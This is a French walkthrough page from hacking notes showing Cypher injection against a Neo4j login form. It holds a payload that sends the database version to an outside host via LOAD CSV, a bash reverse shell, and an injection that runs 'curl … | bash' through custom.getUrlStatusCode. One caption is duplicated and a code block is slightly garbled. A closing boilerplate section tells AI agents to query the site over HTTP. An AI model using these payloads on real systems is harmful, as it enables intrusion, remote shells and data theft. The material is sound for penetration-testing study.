> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md).

# Injection Cypher Neo4j

## Injection Cypher Neo4j

Un formulaire de connexion est vulnérable. Une erreur apparaît lorsque nous saisissons `'`.

<figure><img src="/files/9b22f3d5707e6904d7056425f9b4431acc9dddb4" alt=""><figcaption></figcaption></figure>

Nous injectons un payload Cypher pour récupérer la version de Neo4j :

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS versiwe LOAD CSV FROM 'http://10.10.14.90/?v=' + versiwe AS l RETURN 0 AS _0 //",
  "password": "test"
}

```

{% endcode %}

<figure><img src="/files/e491faeebbc050da21661ce061cf4dd7ab3a6dd8" alt=""><figcaption></figcaption></figure>

Sur notre serveur, la requête est reçue :

```bash
python3 -m http.server 80
# Injection Cypher Neo4j

```

<figure><img src="/files/03b29adbd7adf8e21229cb63987f6dc5bd443541" alt=""><figcaption></figcaption></figure>

### RCE via appel à `custom.getUrlStatusCode()`

<figure><img src="/files/1fd9a1221645d2af831dabad4d74748eed30a5d2" alt=""><figcaption></figcaption></figure>

Nous plaçons un reverse shell dans `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1

```

Nous plaçons un reverse shell dans `index.html`:

```bash
nc -nlvp 443

```

Utilisez l'injection conjointe pour appeler ceci **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}

```

<figure><img src="/files/d2a668036eb024e07ec104e17d990f075e5c5428" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
